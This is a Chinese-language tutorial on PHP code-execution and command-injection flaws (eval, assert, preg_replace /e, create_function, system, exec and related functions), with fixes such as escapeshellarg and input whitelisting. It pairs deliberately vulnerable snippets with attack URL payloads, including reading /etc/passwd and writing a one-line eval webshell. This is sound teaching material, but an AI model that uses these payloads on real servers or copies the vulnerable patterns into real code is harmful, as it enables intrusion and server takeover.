目录
代码执行漏洞
前置说明
eval () 代码执行漏洞
漏洞代码
攻击 Payload(URL 传参)
原理
修复方案
assert () 代码执行漏洞
漏洞代码
攻击 Payload
修复方案
preg_replace /e 修饰符 代码执行(PHP5 专属)
漏洞代码
攻击 Payload
修复方案
create_function 动态函数代码执行(PHP5)
漏洞代码
攻击payload
修复方案
容易导致代码执行的 PHP 函数
直接高危(传入可控内容可直接执行 PHP 代码 / 系统命令)
回调可控间接风险(回调参数由用户可控时,可调用任意函数触发代码执行)
无代码 / 命令执行风险
PHP 命令执行漏洞
漏洞核心原理
system () 漏洞
漏洞代码
攻击 URL Payload
exec () 漏洞
漏洞代码
攻击 URL Payload
shell_exec () / 反引号 `` 漏洞
漏洞代码
攻击 URL Payload
passthru () 漏洞
pcntl_exec () 漏洞
攻击 URL Payload
安全修复方案
escapeshellarg(最优,推荐)
输入白名单校验
php.ini 全局禁用危险命令函数
代码执行漏洞
前置说明
PHP 代码执行漏洞成因:可控用户输入直接传入可执行代码的函数,攻击者可拼接恶意 PHP 语法实现任意代码执行、读写文件、服务器提权等。
危险函数:eval()、assert()、旧版本preg_replace()/e修饰符、create_function()(PHP5)、call_user_func()等。
preg_replace /e漏洞仅PHP 5.0 ~ PHP 5.5有效,PHP5.6 + 移除/e修饰符create_function()在 PHP7 废弃,PHP8 直接删除assert()在 PHP7.2 后默认关闭代码执行,需手动开启assert.active=1eval()全版本高危,无版本限制
eval () 代码执行漏洞
漏洞代码
<?php // 获取GET参数 cmd,用户可控输入 $cmd = $_GET['cmd']; // 直接拼接执行,存在代码执行漏洞 eval("\$ret = $cmd;"); echo "执行结果:".$ret; ?>攻击 Payload(URL 传参)
http://127.0.0.1/vuln_eval.php?cmd=phpinfo(); http://127.0.0.1/vuln_eval.php?cmd=system('whoami'); http://127.0.0.1/vuln_eval.php?cmd=file_put_contents('shell.php','<?php eval($_POST[cmd]);?>');原理
eval 内部会把字符串当做 PHP 代码解析,传入分号闭合原有语法后可执行任意函数。
修复方案
1、禁止使用 eval 处理用户输入
2、若必须动态运算,使用安全的表达式白名单,严格正则过滤特殊字符;(){}'"
assert () 代码执行漏洞
assert 原本用于断言判断,传入字符串会当做代码执行(PHP7.2 前默认开启)
漏洞代码
<?php $input = $_GET['a']; assert($input); ?>攻击 Payload
http://127.0.0.1/vuln_assert.php?a=phpinfo(); http://127.0.0.1/vuln_assert.php?a=system('id');修复方案
1、php.ini 设置assert.active=0、assert.exception=1
2、不传用户可控变量给 assert
preg_replace /e 修饰符 代码执行(PHP5 专属)
漏洞代码
<?php $str = $_GET['str']; // 带 /e 修饰符,替换内容会被eval执行 preg_replace('/(\w+)/e', '$1', $str); ?>执行逻辑:
正常情况下,preg_replace是做字符串替换。但加上/e后,流程变成了:
从
$str中提取出每个单词(例如"hello")。把
$1(即"hello")放入替换字段。由于
/e的存在,PHP会尝试执行hello这个代码。
攻击 Payload
http://127.0.0.1/vuln_preg.php?str={phpinfo()} http://127.0.0.1/vuln_preg.php?str={system('ls -l')}修复方案
1、废弃/e修饰符,使用preg_replace_callback回调函数替代
2、PHP5 升级 PHP7/8
安全替代写法:
// 安全无执行风险 $res = preg_replace_callback('/(\w+)/', function($m){ return $m[1]; }, $str); //即使 $str = "phpinfo()",它也只是: //匹配到单词 phpinfo //回调函数返回字符串 "phpinfo" //最终结果是字符串 "phpinfo",绝对不会执行 phpinfo() 函数create_function 动态函数代码执行(PHP5)
create_function 通过拼接字符串创建匿名函数,可控输入会注入恶意代码。
漏洞代码
<?php $user = $_GET['name']; // 可控输入拼接函数逻辑 $func = create_function('', "echo 'hello ".$user."';"); $func(); ?>攻击payload
http://127.0.0.1/vuln_create.php?name=';phpinfo();//注入后生成的函数代码变为:
function(){echo 'hello ';phpinfo();//';} //分号闭合原有语句,注释掉剩余代码,实现任意代码执行。执行过程:
create_function()会动态创建一个匿名函数函数体是字符串:
"echo 'hello ".$user."';"$user变量会被直接拼接进函数体字符串中
修复方案
PHP7+ 不再推荐 create_function,改用匿名函数function(){} / fn(),禁止拼接用户输入。
容易导致代码执行的PHP函数
直接高危(传入可控内容可直接执行 PHP 代码 / 系统命令)
- assert ():传入字符串参数会当作 PHP 代码执行,易代码注入
- pcntl_exec ():加载程序执行系统二进制,可控参数会命令注入
- preg_replace:PHP5 带 /e 修饰符时替换内容会 eval 执行 PHP 代码
- create_function ():拼接用户输入生成匿名函数,可注入 PHP 代码
- shell_exec ():执行 shell 命令并返回输出,可控参数造成命令执行
- exec ():调用外部 shell 执行系统命令,存在命令注入风险
- system ():执行系统命令并直接打印输出,极易命令注入
- include/include_once/require/require_once:文件包含,可控路径可包含恶意 PHP 文件执行代码
回调可控间接风险(回调参数由用户可控时,可调用任意函数触发代码执行)
1、array_filter、array_map、array_reduce、array_diff_uassoc、array_diff_ukey、array_udiff、array_udiff_assoc、array_udiff_uassoc、array_intersect_assoc、array_intersect_uassoc、array_uintersect、array_uintersect_assoc、array_uintersect_uassoc、array_walk、array_walk_recursive、usort、uasort、uksort:数组处理自定义回调,用户能控制回调名即可调用危险函数执行代码
2、register_shutdown_function、register_tick_function、set_error_handler、stream_filter_register、ob_start:注册各类回调处理函数,回调名称可控可劫持执行任意 PHP 函数
3、xml_set_xxx 系列处理器函数:设置 XML 解析回调,回调可控可执行任意 PHP 代码
无代码 / 命令执行风险
escapeshellcmd ():仅转义 shell 特殊字符,只做过滤,本身不会执行命令
PHP 命令执行漏洞
漏洞核心原理
用户可控外部输入(GET/POST/COOKIE)直接拼接进系统命令执行函数,未做转义 / 过滤;攻击者使用; | & || && %0a等命令分隔符追加任意系统命令,实现命令注入。
system () 漏洞
漏洞代码
<?php // 接收用户传入的ip,无任何安全处理 $target = $_GET['ip']; // 可控变量直接拼接系统命令 system("ping ".$target); ?>攻击 URL Payload
http://127.0.0.1/vuln_system.php?ip=127.0.0.1;whoami http://127.0.0.1/vuln_system.php?ip=127.0.0.1|ls http://127.0.0.1/vuln_system.php?ip=127.0.0.1&&cat /etc/passwd效果:先执行 ping,再执行whoami/ls/cat,读取服务器敏感信息
exec () 漏洞
漏洞代码
<?php $target = $_GET['ip']; $res = []; exec("ping ".$target, $res); print_r($res); ?>攻击 URL Payload
?vip=127.0.0.1;pwd命令输出存入数组并打印,可读取目录、敏感文件。
shell_exec () / 反引号 `` 漏洞
二者功能完全一致,通过 shell 执行命令并返回完整输出
漏洞代码
<?php $target = $_GET['ip']; $output = shell_exec("ping ".$target); echo $output; // 等价写法 $output = `ping $target`; ?>攻击 URL Payload
?ip=127.0.0.1;idpassthru () 漏洞
直接原始输出命令数据流,无缓存,适合读取文件、反弹 shell
<?php $target = $_GET['ip']; $handle = popen("ping ".$target, "r"); echo fgets($handle); pclose($handle); ?>pcntl_exec () 漏洞
直接调用二进制程序,参数可控造成参数注入
<?php $param = $_GET['p']; pcntl_exec("/bin/echo", [$param]); ?>攻击 URL Payload
?p=test;ls ?ip=127.0.0.1;echo '<?php eval($_POST[cmd]);?>' > shell.php //高危拓展利用:写入网站后门安全修复方案
escapeshellarg(最优,推荐)
将用户输入整体封装为独立参数,所有命令分隔符自动转义失效
运行过程:
在字符串首尾添加单引号
'将字符串内的单引号
'替换为'\''(结束单引号 → 转义单引号 → 开始新单引号)
<?php $target = $_GET['ip']; $safe_target = escapeshellarg($target); system("ping ".$safe_target); ?>补充两个转义函数区别:
- escapeshellarg ():转义单个参数,阻断命令注入,业务首选;
- escapeshellcmd ():转义整条命令,仅适合固定命令场景,无法完全防御参数注入,不建议单独使用。
输入白名单校验
严格限制输入格式(如仅允许 IP 数字和点)
<?php $target = $_GET['ip']; if (!preg_match('/^\d{1,3}(\.\d{1,3}){3}$/', $target)) { exit("非法输入"); } system("ping ".$target); ?>正则匹配:
| 部分 | 含义 | 说明 |
|---|---|---|
^ | 开始锚点 | 从字符串开头匹配 |
\d{1,3} | 1-3位数字 | 匹配 0-999 |
(\.\d{1,3}){3} | 分组重复3次 | 匹配.数字重复3次 |
$ | 结束锚点 | 匹配到字符串结尾 |
php.ini 全局禁用危险命令函数
disable_functions = system,exec,shell_exec,passthru,popen,pcntl_exec